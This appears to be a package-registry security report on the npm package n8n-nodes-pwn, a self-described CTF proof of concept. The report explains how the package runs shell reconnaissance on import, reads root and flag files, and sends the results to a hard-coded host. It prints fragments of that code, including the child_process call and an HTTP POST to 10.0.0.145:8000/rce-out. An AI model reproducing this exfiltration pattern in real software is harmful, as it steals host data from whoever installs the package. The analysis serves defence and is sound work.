registry / Data exfiltration / n8n-nodes-pwn

n8n-nodes-pwn

Minimal PoC package used for authorized security research (CTF training exercise) to demonstrate n8n's community-package installation feature executing arbitrary code outside the Code node's VM2 sandbox. Not intended for real-world use.

This report shows the evidence for n8n-nodes-pwn@1.0.1. 8 of 8 known versions are blocked or flagged. The newest version, 1.0.8, is blocked. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The package contains concrete, import-triggered command execution and exfiltration rather than a merely user-invoked administrative feature. Its stated research purpose does not remove the active collection and network-transfer behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Requiring index.js or loading dist/nodes/Pwn/Pwn.node.js in n8n.

Impact

Host and potentially sensitive root-readable file contents are sent to a hard-coded external host.

Mechanism

Import-time shell reconnaissance, file collection, and HTTP exfiltration.

Attack narrative

Both exported entry paths execute immediately when loaded. They run fixed reconnaissance commands, search the filesystem for flags, list /root, and attempt to read root text and flag files. Results are saved under /tmp and POSTed to a hard-coded IP address. The inert n8n execute method does not prevent the import-time payload.

AI rationale

Evidence

package.jsonindex.jsdist/nodes/Pwn/Pwn.node.jsREADME.md/tmp/.pwnout/tmp/.pwnerr/root/root/*.txt/root/flag*

Network endpoints1

10.0.0.145:8000/rce-out

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js runs shell commands immediately on module import.
dist/nodes/Pwn/Pwn.node.js duplicates import-time command execution.
Commands enumerate SUID files and read /root/flag* and /root/*.txt.
Collected output is POSTed to 10.0.0.145:8000/rce-out.
Output and errors are written to hidden /tmp files.

Evidence against

package.json has no npm lifecycle scripts.
README labels it an authorized CTF research PoC, but source performs real collection and exfiltration.

Behavioral surface

Source

ChildProcessFilesystemNetwork

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 2 file(s), 2.19 KB of source

Source & flagged code

3 flagged

dist/nodes/Pwn/Pwn.node.jsView file

1const { execSync } = require('child_process'); L2: try { ... L20: try { L21: const http = require('http'); L22: const req = http.request({host:'10.0.0.145', port:8000, path:'/rce-out', method:'POST', timeout:5000}, ()=>{}); L23: req.on('error', ()=>{}); L24: req.write(out); L25: req.end();

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

dist/nodes/Pwn/Pwn.node.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: try {

High

Child Process

Package source references child process execution.

dist/nodes/Pwn/Pwn.node.jsView on unpkg · L1

index.jsView file

1Trigger-reachable chain: manifest.main -> index.js L1: const { execSync } = require('child_process'); L2: try { ... L21: try { L22: const http = require('http'); L23: const req = http.request({host:'10.0.0.145', port:8000, path:'/rce-out', method:'POST', timeout:5000}, ()=>{}); L24: req.on('error', ()=>{}); L25: req.write(out); L26: req.end();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

Source & flagged code

3 flagged · loading source

dist/nodes/Pwn/Pwn.node.jsView file

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

dist/nodes/Pwn/Pwn.node.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: try {

High

Child Process

Package source references child process execution.

dist/nodes/Pwn/Pwn.node.jsView on unpkg · L1

index.jsView file

Findings

2 Critical1 High1 Medium2 Low

CriticalCommand Output Exfiltrationdist/nodes/Pwn/Pwn.node.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processdist/nodes/Pwn/Pwn.node.js

MediumNetwork

LowFilesystem

LowNo License

Affected versions and remediation

This report applies to n8n-nodes-pwn@1.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing n8n-nodes-pwn@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 14:37:16.763Z (UTC).

Source advisory published: 2026-07-22 20:33:47.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

8 known versions

1.0.8latestMaliciousMalwareBlockPublishedJul 22, 2026, 2:22 AM 1.0.7MaliciousMalwareBlockPublishedJul 22, 2026, 2:21 AM 1.0.6MaliciousMalwareBlockPublishedJul 22, 2026, 2:20 AM 1.0.5MaliciousMalwareBlockPublishedJul 22, 2026, 2:16 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code